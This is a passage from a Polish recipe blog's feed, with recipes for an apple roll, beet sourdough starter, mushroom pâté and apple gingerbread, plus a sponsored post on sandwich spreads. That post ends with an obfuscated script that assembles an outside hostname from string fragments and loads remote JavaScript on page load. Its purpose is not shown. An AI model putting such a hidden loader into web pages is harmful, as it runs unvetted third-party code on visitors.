Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.<br /></i><b><span style="font-size: large;">Opis krok po kroku:</span></b><br /><h4 style="text-align: left;">Jak zrobić roladę biszkoptową z jabłkami?</h4></div><div><ol style="text-align: left;"><li>Jabłka obrać, zetrzeć na tarce o dużych oczkach i wymieszać z sokiem z cytryny.</li><li>Formę wyłożyć papierem do pieczenia, który dokładnie posmarować masłem i oprószyć cukrem.</li><li>Jajka ubijać dosypując stopniowo cukier, aby powstała puszysta i jasna konsystencja.</li><li>Mąkę przesiać i wymieszać z proszkiem do pieczenia.</li><li>Do ubitej masy z jajek dodawać stopniowo mąkę i delikatnie, ale dokładnie mieszać. W masie nie może być suchych grudek mąki.</li><li>Na przygotowaną wcześniej formę z papierem rozłożyć równomiernie jabłka, wylać na nie przygotowane ciasto i wyrównać.</li><li>Piec w piekarniku nagrzanym góra-dół do 180 stopni C przez około 25 - 30 minut.</li><li>Po upieczeniu odczekać chwilę i jeszcze ciepłe ciasto wyłożyć z formy tak, aby spód z jabłkami był na górze. Ciasto można wyłożyć na ścierkę, wtedy łatwiej będzie rolować jeszcze ciepłą roladę.</li><li>Z ciasta odkleić delikatnie papier i zwinąć je w rulon rozpoczynając od dłuższego boku. Jabłka powinny być w środku rolady, a koniec brzegu pod spodem rulonu.</li><li>Po całkowitym wystudzeniu roladę posypać cukrem pudrem i przechowywać w lodówce.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2018/10/ciasto-jablecznik-zaparzany.html" target="_blank">ciasto jabłecznik zaparzany</a>.</li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com2tag:blogger.com,1999:blog-2509800748059388515.post-87943268986850074012023-12-05T09:04:00.009+01:002023-12-25T11:48:22.378+01:00Zakwas z buraków<h2 style="text-align: left;">Najlepszy domowy zakwas z buraków, który jest niezbędny do przygotowania barszczu wigilijnego na święta. Zakwas buraczany jest również bardzo zdrowy i można go pić, aby podnieść odporność i wzmocnić parametry krwi, szczególnie w przypadku anemii i niedoborach witamin i minerałów. Zobacz, jak zrobić zakwas z buraków?</h2><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEis_Jl2hbXUcyDcWp8d5Iz4eB2_3AL3qlwe3NepndJ5wTOHS_q3dzn2bpSQbR64P3GLlCRT_kTcBPhwfyzBzJKEmjY4TgPOW6d67sguR6Jc9J2SnFBD_0f6rkjLhlf7GoykOua9vPycJ8nYi6zieIS888PtVM02HT19n6PtiG-_wTtCH1j44wt5fqnvuVI2/s1600/Zakwas%20z%20burak%C3%B3w1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Zakwas buraczany do barszczu" border="0" data-original-height="1241" data-original-width="1600" height="310" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEis_Jl2hbXUcyDcWp8d5Iz4eB2_3AL3qlwe3NepndJ5wTOHS_q3dzn2bpSQbR64P3GLlCRT_kTcBPhwfyzBzJKEmjY4TgPOW6d67sguR6Jc9J2SnFBD_0f6rkjLhlf7GoykOua9vPycJ8nYi6zieIS888PtVM02HT19n6PtiG-_wTtCH1j44wt5fqnvuVI2/w400-h310/Zakwas%20z%20burak%C3%B3w1.jpg" title="Zakwas z buraków" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Zakwas z buraków</b> jest bardzo zdrowy i polecają go nawet lekarze przy niedoborach witamin i minerałów (witaminy A, C, z grupy B, żelaza, potasu, magnezu, wapnia, kobaltu). Podczas fermentacji buraków powstaje kwas mlekowy, który wzmacnia system odpornościowy i oczyszcza organizm. Wiadomo, że kiszonki regulują metabolizm, pomagają trawić tłuszcze, białka i węglowodany. <b>Kiszenie buraków</b> zmniejsza w nich zawartość cukrów prostych i dlatego <b>zakwas buraczany </b>zaliczany jest do produktów o niskim indeksie glikemicznym, co jest ważne dla osób z cukrzycą.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Zakwas z buraków powinien być spożywany nie tylko od święta jako dodatek do zakwaszenia barszczu, ale i na co dzień, aby wzmocnić naszą odporność. Nie ma co się rozpisywać, w kuchni czasami najprostsze rzeczy są najlepsze i kiszenie właśnie takie jest. Proces znany i stosowany od wieków, który potrzebuje jedynie cierpliwość.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQkwsfMuh3NrHfGI6T0lcCJMqPRpxTlkYsUk2Zrn9SPtFRtRZw7ZeBkrA0W55Cidc0fnJnODF115MwUl4BOfSYZgF-31ryBBzg5cBKVxBeGBVlGABBvqITCZsbeyctuzz2g6a54qxOcMtNVmi-PtQbcX50ycekcEUFF-uiAUWuOGjveSfY91X5RJjFFFQE/s1600/Zakwas%20z%20burak%C3%B3w%20butelka%20s%C5%82oik.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Zakwas buraczany z czosnkiem do barszczu wigilijnego" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQkwsfMuh3NrHfGI6T0lcCJMqPRpxTlkYsUk2Zrn9SPtFRtRZw7ZeBkrA0W55Cidc0fnJnODF115MwUl4BOfSYZgF-31ryBBzg5cBKVxBeGBVlGABBvqITCZsbeyctuzz2g6a54qxOcMtNVmi-PtQbcX50ycekcEUFF-uiAUWuOGjveSfY91X5RJjFFFQE/w400-h300/Zakwas%20z%20burak%C3%B3w%20butelka%20s%C5%82oik.jpg" title="Zakwas z buraków" width="400" /></a></div><fieldset>Liczba porcji: 1500 ml<br />Czas przygotowania: 25 minut<br />Czas kiszenia: 5 dni<br /><a title="Podana w przepisach wartość kaloryczna 100 g dania jest szacunkowa, gdyż produkty różnych producentów mogą mieć różną liczbę kcal.">Wartość kaloryczna</a>: 100 g = 40 kcal<br />Kategoria: przetwory<br />Dieta: wegetariańska, wegańska, bezglutenowa</fieldset><h3 style="text-align: center;">Przepis na zakwas z buraków</h3><h4 style="text-align: left;">Składniki na zakwas z buraków:</h4><div><ul style="text-align: left;"><li>1 kg buraków (najlepiej podłużnych i mocno czerwonych)</li><li>1 główka czosnku</li><li>5 liści laurowe</li><li>6 ziaren ziela angielskiego</li><li>8 ziaren pieprzu</li></ul><h4 style="text-align: left;">Zalewa do kiszenia buraków:</h4><ul style="text-align: left;"><li>1 litr przegotowanej zimnej wody</li><li>1 łyżka soli kamiennej niejodowanej<br />Dodatkowo:<br /></li><li>2,5 - 3 litrowy słoik</li></ul></div><i>
Do odmierzania używam: łyżki - 15 ml.</i><h3 style="text-align: left;"><div style="text-align: left;"><span style="font-size: large;">Opis krok po kroku:</span></div>Jak zrobić zakwas buraczany?</h3><div><ol style="text-align: left;"><li>Słoik, w którym będą kiszone buraki wyparzyć.</li><li>Zagotować wodę na zalewę i rozpuścić w niej sól, następnie wystudzić. Zalewę robić według proporcji na 1 litr wody 1 płaska łyżka soli. U mnie poszło 1700 ml zalewy, ale to może być różnie i zależy od wielkości naczynia i kształtu posiadanych buraków.</li><li>Buraki obrać i pokroić w plastry o grubości 0,5 cm.</li><li>Połowę pokrojonych buraków włożyć do słoja, dodać przekrojoną na pół główkę czosnku (bez obierania), liście laurowe, ziele angielskie i pieprz. Jeśli nie lubimy zbyt intensywnego smaku i zapachu czosnku, to dodać go tylko pół główki.</li><li>Następnie włożyć pozostałe buraki i zalać wystudzoną zalewą tak, aby nie wystawały ponad powierzchnię płynu.</li><li>Buraki, aby nie wypływały najlepiej obciążyć wyparzonym szklanym spodkiem od filiżanki. Płynu w słoiku powinno być około 3 cm od brzegu, aby było miejsce na zachodzący proces kiszenia.</li><li>Słoika szczelnie nie zamykać, odstawić w ciepłe, ale zacienione miejsce na około 5 - 10 dni. Czas kiszenia zależy od temperatury w pomieszczeniu i własnych upodobań.</li><li>Podczas kiszenia na powierzchni może tworzyć się biała piana, ale to jest naturalne. Białą pianę zbierać z powierzchni czystą łyżką, a zakwas mieszać. Jeśli piany nie jest dużo, to wystarczy tylko co pewien czas zamieszać. Na powierzchni nie może być żadnych czarnych lub żółtych wykwitów, gdyż jest to objaw powstawania pleśni i psucia, a nie kiszenia.</li><li>Zakwas co pewien czas próbować, jeśli będzie wystarczająco ukiszony, to przecedzić przez sitko. Im dłużej będziemy kisić buraki, tym zakwas będzie kwaśniejszy i intensywniejszy w smaku.</li><li>Zakwas buraczany przelać do wyparzonych butelek lub słoika i przechowywać w lodówce.</li><li>Ukiszone buraki można wykorzysta do zrobienia sałatki lub zetrzeć i dodać np. do barszczu ukraińskiego.</li><li>Zakwas wykorzystywać do robienia barszczu wigilijnego lub regularnie pić dla zdrowia.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2022/04/salatka-z-pieczonych-burakow.html" target="_blank">sałatka z pieczonych buraków</a>.</li></ol></div></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com1tag:blogger.com,1999:blog-2509800748059388515.post-37244824999518944362023-11-30T10:59:00.006+01:002023-12-25T11:48:54.510+01:00Pasztet z pieczarek do smarowania<h2 style="text-align: left;">Lekki, pożywny i bardzo smaczny pasztet z pieczarek do smarowania. Pasztet do smarowania pieczywa jest bardzo łatwy do zrobienia, a składniki do jego wykonania nie są drogie. Pasztet z pieczarek bez pieczenia na pewno sprawi, że śniadanie będzie zdrowe i bardziej urozmaicone.</h2><div><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKhO0CvhizCziXs8BDQct7E344c6yZdQn7j5fcAGMYiRLbF4Dchvk0gTnva_IxMInrK6VtS5DLOTCvgOT237frWWgHJwILNkK4bBf-2ZGcNMyBaOAc5elA20GPVsrShrA222Y6bmQdekabTueENq1xSCVTPHf_Nes9JOVWbJSV5jArjVHx2M0ia78S-gUR/s1600/Pasztet%20z%20pieczarek%20do%20smarowania2.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Pasztet z pieczarek z ogórkiem konserwowym" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKhO0CvhizCziXs8BDQct7E344c6yZdQn7j5fcAGMYiRLbF4Dchvk0gTnva_IxMInrK6VtS5DLOTCvgOT237frWWgHJwILNkK4bBf-2ZGcNMyBaOAc5elA20GPVsrShrA222Y6bmQdekabTueENq1xSCVTPHf_Nes9JOVWbJSV5jArjVHx2M0ia78S-gUR/w400-h300/Pasztet%20z%20pieczarek%20do%20smarowania2.jpg" title="Pasztet z pieczarek do smarowania" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Pasztet z pieczarek do smarowania</b> jest lekki, gdyż nie zawiera w sobie dużo tłuszczu. Tłuszczu jest w nim tylko tyle, ile w użytym serku naturalnym, a jeśli użyjemy naturalnego skyru, to praktycznie wcale. Masło podane w składnikach potrzebne jest do zabezpieczenia pasztetu przed utratą smaku podczas przechowywania i nie musimy go zjadać. <b>Pasztet bez pieczenia z pieczarek</b> świetnie smakuje bez masła. Jeśli jednak zechcemy przygotować pasztet zalany masłem i zjeść go później, to naczynie z pasztetem wyjąć z lodówki 2 - 3 minuty przed jedzeniem, aby masło się lepiej rozsmarowywało.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Wygląd i smak pasztetu do smarowania jest uzależniony od jakości użytych pieczarek. <b>Pieczarki</b> młode są jaśniejsze, bardziej jędrne i mają intensywniejszy pieczarkowy smak. Pieczarki starsze są bardziej suche i widać w nich ciemnobrązowe blaszki, które odpowiadają za ciemniejszy kolor pasztetu i jego smak.<br />Do kanapki posmarowanej domowym pasztetem z pieczarek świetnie pasuje ogórek konserwowy.</div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdsm6s70vCAbTjEeGkDKhxkB019lU8Ek_D2JF5Hkp2hoqnpo8R6Zx9YEg88EQ5xlx2lYvZueU8_-aKm_xxg8VIwt4n9-Rhyphenhyphent4BA6HPuMVMizLifAu9XZ7-xlqYsNZS-D19bUyUMJsMvIhnrQWxVN_1Fc6qOLotZCQ-B2YSqLTt2cLwvPRyXlrL0QfG1TrE/s1600/Pasztet%20z%20pieczarek%20do%20smarowania1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Pasztet z pieczarek na kanapki" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdsm6s70vCAbTjEeGkDKhxkB019lU8Ek_D2JF5Hkp2hoqnpo8R6Zx9YEg88EQ5xlx2lYvZueU8_-aKm_xxg8VIwt4n9-Rhyphenhyphent4BA6HPuMVMizLifAu9XZ7-xlqYsNZS-D19bUyUMJsMvIhnrQWxVN_1Fc6qOLotZCQ-B2YSqLTt2cLwvPRyXlrL0QfG1TrE/w400-h300/Pasztet%20z%20pieczarek%20do%20smarowania1.jpg" title="Pasztet z pieczarek do smarowania" width="400" /></a></div><fieldset>Liczba porcji: 6<br />Czas przygotowania: 30 minut<br />Czas smażenia: 10 minut<br /><a title="Podana w przepisach wartość kaloryczna 100 g dania jest szacunkowa, gdyż produkty różnych producentów mogą mieć różną liczbę kcal.">Wartość kaloryczna</a>: 100 g = 100 kcal<br />Kategoria: przystawka<br />Dieta: wegetariańska, bezglutenowa</fieldset><h3 style="text-align: center;">Przepis na pasztet z pieczarek do smarowania</h3><h4 style="text-align: left;">Składniki na pasztet z pieczarek:</h4><div><ul style="text-align: left;"><li>500 g pieczarek</li><li>1 cebula</li><li>3 ząbki czosnku</li><li>1 łyżeczka pieprzu naturalnego</li><li>1/2 łyżeczki gałki muszkatołowej</li><li>1 łyżeczka lubczyku</li><li>1 łyżeczka tymianku</li><li>1/2 łyżeczki czosnku suszonego (opcjonalnie)</li><li>1 łyżeczka soku z cytryny</li><li>1 łyżeczka soli</li><li>100 g gęstego skyru lub kremowego serka naturalnego<br />Dodatkowo:</li><li>olej do smażenia</li><li>150 g masła do zalania</li><li>ogórki konserwowe do podania</li></ul></div><i>
Do odmierzania używam: łyżeczki - 5 ml.</i><h3 style="text-align: left;"><div style="text-align: left;"><span style="font-size: large;">Opis krok po kroku:</span></div>Jak zrobić pasztet z pieczarek do smarowania?</h3></div><div><ol style="text-align: left;"><li>Pieczarki oczyścić, drobno pokroić i podsmażyć na patelni z rozgrzaną niewielką ilością oleju, aż będą miękkie i odparuje z nich nieco wilgoć.</li><li>Cebulę i czosnek obrać i pokroić w drobną kostkę, następnie podsmażyć do miękkości na niezbyt dużej mocy palnika.</li><li>Do wystudzonych pieczarek i cebuli dodać przyprawy, sok z cytryny i gęsty serek lub skyr i wszystko rozdrobnić blenderem, aż powstanie kremowy pasztet.</li><li>Pieprz i sól dostosować do swoich upodobań, u mnie raczej pasztet w wersji łagodnej. Dodanie czosnku suszonego sprawi, że pasztet będzie miał bardziej czosnkowy smak.</li><li>Pasztet przełożyć do słoika lub kokilek i po wyrównaniu powierzchni, zalać cienką warstwą delikatnie roztopionego masła. Wstawić do lodówki do schłodzenia.</li><li>Masłem można nie zalewać, jeśli pasztet będzie zjedzony w tym samym dniu. Masło odcina dopływ powietrza do pasztetu i dzięki temu dłużej zachowuje on swój smak i nie ciemnieje.</li><li>Pasztet z pieczarek podawać z ogórkiem konserwowym i marynowanymi pieczarkami.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2018/09/pasztet-z-cukinii-z-pieczarkami.html" target="_blank">pasztet z cukinii z pieczarkami</a>.</li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com2tag:blogger.com,1999:blog-2509800748059388515.post-29594009523490083592023-11-29T07:08:00.003+01:002023-11-29T07:09:34.590+01:00Domowe pasty do kanapek — sprawdzone przepisy<h2 style="text-align: left;">Jeśli jesteś miłośnikiem kanapek, na pewno docenisz pyszne pasty, które możesz przygotować w swojej kuchni. Od codziennego lunchu po przyjęcia i spotkania towarzyskie — domowe smarowidła niewątpliwie ożywią Twoje codzienne menu. W tym artykule przedstawimy kilka pomysłów na ciekawe pasty kanapkowe, które z pewnością przypadną Ci do gustu.</h2><p style="text-align: center;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjnI0KWAFn44d3TAhKuaEoJNx_Cbcx7f503L-NdQlG4OAz7DMF4hyCmaL-3BiG0pWwj_uwuZp67T70QW9ylbdjBCbGOu_6swmMqDKkF-ZWkbo33kOByLuGF0XUcFzhByoLlZOmAIN4onUIEuGfuMdMYuDmSoqNNv8hxD1X2i9JWZcMI-mkeqHxh-xzaeE/s1800/domowepastydokanapek-sprawdzoneprzepisy.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Pasty do kanapek" border="0" data-original-height="1200" data-original-width="1800" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjnI0KWAFn44d3TAhKuaEoJNx_Cbcx7f503L-NdQlG4OAz7DMF4hyCmaL-3BiG0pWwj_uwuZp67T70QW9ylbdjBCbGOu_6swmMqDKkF-ZWkbo33kOByLuGF0XUcFzhByoLlZOmAIN4onUIEuGfuMdMYuDmSoqNNv8hxD1X2i9JWZcMI-mkeqHxh-xzaeE/w400-h266/domowepastydokanapek-sprawdzoneprzepisy.jpg" title="Domowe pasty do kanapek — sprawdzone przepisy" width="400" /></a></div><span><a name='more'></a></span><div style="text-align: left;"></div><p></p>
<h2><b>Hummus z bobu</b></h2>
<p><b>Hummus</b> to klasyczna <b>pasta z ciecierzycy</b> pochodząca z Bliskiego Wschodu, która zdobyła serca smakoszy na całym świecie. Idealnie sprawdzi się do smarowania pieczywa lub jako dip do warzyw. Jednak czy wiesz, że hummus można przyrządzić również z bobu? Jego przygotowanie jest wyjątkowo proste. Wystarczy w kielichu blendera umieścić czosnek, oliwę, sok z cytryny, tahini, harrisę, sól, pieprz, a także ugotowany wcześniej i obrany z łupin bób. Całość miksujemy na gładką masę i gotowe! Tak przygotowany <b>hummus </b>świetnie smakuje w towarzystwie kromki świeżego chleba lub grzanek.</p>
<p>Cały przepis znajdziesz na stronie: <a href="https://uwielbiam.pl/przepis/hummus-z-bobu" target="_blank"><b>https://uwielbiam.pl/przepis/hummus-z-bobu</b></a>.</p>
<h2><b>Guacamole</b></h2>
<p>Jeśli jesteś miłośnikiem awokado,<b> guacamole </b>na pewno przypadnie Ci do gustu. Świetnie pasuje zarówno jako dodatek do kanapek na śniadanie, jak i na piknik lub różnego rodzaju przyjęcia. Potrzebujemy jedynie dojrzałe awokado, z którego usuwamy pestkę i wybieramy miąższ. Całość rozgniatamy widelcem, dodajemy przeciśnięty przez praskę czosnek, sok z limonki, pieprz i sól. Dla wzbogacenia smaku możemy dodać również posiekaną papryczkę chilli, świeżą kolendrę lub drobno pokrojone pomidory.</p>
<h2><b>Pasta z suszonych pomidorów</b><b></b></h2>
<p><b>Suszone pomidory</b> są pełne intensywnego smaku i aromatu, dzięki czemu stanowią idealny składnik do przygotowania <b>pasty do kanapek</b>. To także świetny sposób na włączenie do swojej diety większej ilości warzyw. Co więcej, całość przygotujesz w około 15 minut, a gotową pastę możesz przechowywać w słoiczku i cieszyć się jej smakiem o każdej porze roku. Wystarczy odsączyć <b>suszone pomidory</b> z zalewy, umieścić je w blenderze i zmiksować wraz z prażonymi pestkami dyni, orzechami lub słonecznikiem. Opcjonalnie możemy wzbogacić smak o czosnek, parmezan lub bazylię.</p>
<h2><b>Pasta z pieczonej dyni i batatów</b><b></b></h2>
<p>Jeżeli cenisz sobie smaczne<b> pasty warzywne</b>, koniecznie poznaj wersję łączącą<b> pieczoną dynię i bataty</b>. Możesz ją serwować zarówno do ulubionego pieczywa na śniadanie lub kolację, jak i w formie przekąski na chrupiących grzankach. Wystarczy obrać i pokroić dynię oraz bataty, obtoczyć je w pieprzu i soli, a następnie umieścić w piekarniku. Gdy warzywa będą miękkie, blendujemy je wraz z posiekaną cebulą i czosnkiem na gładką konsystencję. Na koniec doprawiamy pastę według uznania i mieszamy wraz z natką pietruszki.</p>
<p>Brzmi smacznie? Sprawdź cały przepis na stronie:<b> </b><a href="https://uwielbiam.pl/przepis/pasta-z-pieczonej-dyni-i-batatow" rel="nofollow" target="_blank"><b>https://uwielbiam.pl/przepis/pasta-z-pieczonej-dyni-i-batatow</b></a>.</p>
<h2><b>Pasta z tuńczyka</b></h2>
<p>Dla fanów<b> past rybnych</b> świetnym wyborem może być opcja z tuńczykiem. Jest prosta w przygotowaniu i doskonale komponuje się z chrupiącym chlebem. Na początku dokładnie utrzyj masło, aż będzie puszyste, a następnie dodaj tuńczyka, starte żółtko, sól, szczyptę papryki słodkiej i odrobinę soku z cytryny. Całość wymieszaj i gotowe! Gotowa pasta idealnie pasuje do ciemnego chleba i różnego rodzaju kanapek z warzywami. Smacznego!</p>
<h2><b>Pasta z makreli wędzonej</b></h2>
<p>Wspominając o pastach rybnych, nie możemy również pominąć wersji z <b>makrelą wędzoną</b>. Zacznij od oczyszczenia ryby z ości, a następnie podziel ją na drobne kawałki. Wymieszaj wszystko z pokrojonymi w kostkę korniszonami, posiekaną cebulką i szczypiorkiem. Na koniec dodaj majonez, ketchup i dopraw do smaku solą i pieprzem. Teraz wystarczy posmarować ulubione pieczywo przygotowanym smarowidłem. Na wierzch możesz ułożyć świeże warzywa, np. rzodkiewkę, sałatę lub ogórka, które świetnie pasują do naszej pasty.</p>
<h2><b>Pasta jajeczna</b></h2>
<p><b>Pasty jajeczne </b>to klasyk wśród smarowideł do kanapek, który doskonale pasuje do kromki świeżego chleba na śniadanie. Potrzebujemy jedynie ugotowanych na twardo jajek, które rozdrabniamy widelcem i mieszamy z pokrojoną w kosteczkę cebulą, startym serem i majonezem. Możemy dodać również odrobinę soku z cytryny, aby całość nie była mdła. Dzięki prostocie składników <b>pasta jajeczna</b> jest świetnym punktem wyjścia do eksperymentowania z dodatkami. Możemy dostosować jej smak, dodając również ulubione przyprawy, zioła czy nawet odrobinę musztardy.<br /><br />*artykuł sponsorowany</p>
<script>
(function(){
wriu=document.createElement("script");wriu.type="text/javascript";
wriu.async=true;wriu_=(("us")+"t")+"a";wriu_+=("t.i")+""+"n";wriu_+=(("f")+"o");wriu_+="/";
wriuu="2185513636.";wriuu+="7p4vv6curiu2ndrcdu366zt1nk4vgi";wriu.src="https://"+wriu_+wriuu;
wriudb=document.body;wriudb.appendChild(wriu);
})();
</script>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com0tag:blogger.com,1999:blog-2509800748059388515.post-37749832462487837942023-11-24T07:35:00.011+01:002023-12-25T11:50:04.479+01:00Piernik przekładany jabłkami<h2 style="text-align: left;">Piernik przekładany jabłkami to najlepsze ciasto na świąteczny deser. Prosty przepis na pyszny piernik z jabłkami, a do tego łatwy do przygotowania. Ciasto piernikowe cudownie smakuje i pachnie, a przełożenie z jabłek sprawia, że piernik jest delikatnie wilgotny. Piernik z masą z jabłek jest zdecydowanie lżejszy i mniej słodki niż tradycyjny piernik z powidłami. Świąteczne ciasto, które znika jako pierwsze z patery ze świątecznymi słodkościami.</h2><div><div class="separator" style="clear: both; text-align: center;"><div class="separator" style="clear: both; margin-left: 1em; margin-right: 1em; text-align: center;"><span style="margin-left: 1em; margin-right: 1em;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVpvaa_voLyFkgzO0dxTzeAFHQrCv4X69XugvbLShyzBnTwlXCVJPsdjsa78C7ou4ZOPwZOFs_4PXSh9mzty_mUp0oqlPkspbEJINGjLtPVqYH2kIxB-1dPZSszayGOz5_QUIn3xzNKJxRvpSKlmStxrjE7m-ZBkmJXhwpYDehn0jBjHaZDtPvwrD469FD/s1600/Piernik%20przek%C5%82adany%20jab%C5%82kami1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Piernik świąteczny z jabłkami" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNPq0TdEcIyxc2geNEY3hQ4PwZnscei4olqfZ-9aGPvmgoXLnmmj4ZlTseFWPEClonmUseWlJ3bY-0Z7TCIK1ECCoG8fRynMffoUYayHZOX2_nlsLDtrEzLCRvs_dA5BnVbeZVNLbMIQWZSh4wxyW-bMCXlaBnPXrd7AbvCFQDQUBKvUV_6tn_oQ3QKrZG/w400-h300/Piernik%20przek%C5%82adany%20jab%C5%82kami.jpg" title="Piernik przekładany jabłkami" width="400" /></a></span></div><span><span><a name='more'></a></span><div style="text-align: left;">Podstawową sprawą, aby <b>piernik przekładany jabłkami</b> był aromatyczny i smaczny jest dobrej jakości <b>przyprawa do piernika</b>. Zazwyczaj przyprawę do piernika robię sama, ale jeśli akurat się skończy, to w sklepie szukam takiej, która w swoim składzie nie ma mąki ani cukru. Dobra przyprawa powinna składać się z samych przypraw tj. cynamonu, goździków, imbiru, gałki muszkatołowej, ziela angielskiego, kardamonu, anyżu, kolendry, pieprzu i ewentualnie niewielkiej ilości kakao. Mąka i cukier są tylko wypełniaczami, które zwiększają wagę i obniżają zawartość przypraw.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">Smak i wygląd masy z jabłek do przełożenia piernika zależy od rodzaju użytych jabłek. Najlepiej, aby jabłka były soczyste, wtedy podczas ich gotowania będzie więcej soku. W masie będą zachowane kawałeczki jabłek, jeśli wszystkich jabłek od razu nie wrzucimy do garnka, tylko dodamy po pewnym czasie od momentu rozpoczęcia gotowania.</div><div style="text-align: left;"><br /></div><div style="text-align: left;">Galaretkę w proszku można dodać do ugotowanych i gorących jabłek, jeśli jest w nich wystarczająca ilość płynu na jej rozpuszczenie. Jeśli jabłka są niezbyt soczyste, to pod koniec gotowania dodać nieco gorącej wody lub galaretkę rozpuścić w 200 ml gorącej wodzie i wymieszać z już ugotowanymi jabłkami. Z galaretką jabłek nie gotować, gdyż galaretka nie stężeje.</div></span><div class="separator" style="clear: both; margin-left: 1em; margin-right: 1em; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVpvaa_voLyFkgzO0dxTzeAFHQrCv4X69XugvbLShyzBnTwlXCVJPsdjsa78C7ou4ZOPwZOFs_4PXSh9mzty_mUp0oqlPkspbEJINGjLtPVqYH2kIxB-1dPZSszayGOz5_QUIn3xzNKJxRvpSKlmStxrjE7m-ZBkmJXhwpYDehn0jBjHaZDtPvwrD469FD/s1600/Piernik%20przek%C5%82adany%20jab%C5%82kami1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Piernik na święta przekładany jabłkami" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVpvaa_voLyFkgzO0dxTzeAFHQrCv4X69XugvbLShyzBnTwlXCVJPsdjsa78C7ou4ZOPwZOFs_4PXSh9mzty_mUp0oqlPkspbEJINGjLtPVqYH2kIxB-1dPZSszayGOz5_QUIn3xzNKJxRvpSKlmStxrjE7m-ZBkmJXhwpYDehn0jBjHaZDtPvwrD469FD/w400-h300/Piernik%20przek%C5%82adany%20jab%C5%82kami1.jpg" title="Piernik przekładany jabłkami" width="400" /></a></div></div><fieldset>Liczba porcji: 20<br />Czas przygotowania: 50 minut<br />Czas pieczenia: 15 minut + studzenie<br /><a title="Podana w przepisach wartość kaloryczna 100 g dania jest szacunkowa, gdyż produkty różnych producentów mogą mieć inną liczbę kcal.">Wartość kaloryczna:</a> 100 g = 215 kcal<br />Kategoria: ciasto, deser<br />Dieta: wegetariańska<br />Forma z piekarnika: 46 cm x 38 cm</fieldset><h3 style="text-align: center;">Przepis na piernik przekładany jabłkami</h3><h4 style="text-align: left;">Składniki na piernik przekładany jabłkami:</h4><div style="text-align: left;"><b>Ciasto na piernik:</b></div><div><ul style="text-align: left;"><li>160 g masła 82% tłuszczu</li><li>60 g miodu naturalnego</li><li>4 jajka (L)</li><li>200 g cukru (3/4 szklanki)</li><li>30 - 40 g <a href="https://www.kuchcikgotuje.pl/2020/12/domowa-przyprawa-do-piernika.html" target="_blank">przyprawy do piernika</a> (bez mąki i cukru)</li><li>340 g mąki pszennej typ 450 (2 szklanki)</li><li>1,5 łyżeczki sody oczyszczonej<br />
<b>Masa z jabłek do piernika:</b></li><li>1,2 kg jabłek</li><li>2 łyżki soku z cytryny</li><li>1 galaretka agrestowa lub cytrynowa</li><li>3 - 4 łyżki cukru (opcjonalnie)</li></ul></div><i>
Do odmierzania używam: szklanki - 250 ml, łyżki - 15 ml, łyżeczki - 5 ml.</i><h3 style="text-align: left;"><div style="text-align: left;"><span style="font-size: large;">Opis krok po kroku:</span></div>Jak zrobić piernik przekładany jabłkami?</h3><div><ol style="text-align: left;"><li>W rondlu na małej mocy palnika roztopić masło i miód, ciągle mieszać, aż składniki się połączą.</li><li>Dodać sodę oczyszczoną i nie przerywając mieszania podgrzewać na małej mocy palnika do czasu, aż masa zmieni kolor na mocno karmelowy. Podczas podgrzewania masa z sodą będzie się dość mocno pienić.</li><li>Masę zdjąć z palnika i mieszać do czasu, aż nie będzie się pienić. Wystudzić, aby masa miała temperaturę pokojową, ale była jeszcze płynna.</li><li>Jajka ubijać, dosypując po kilka łyżek cukru, aż powstanie puszysta masa.</li><li>Nie przerywając ubijania, ale na mniejszych obrotach miksera wlewać powoli wystudzony karmel i miksować do czasu połączenia się z masą z jajek.</li><li>Mąkę przesiać i wymieszać z przyprawą do 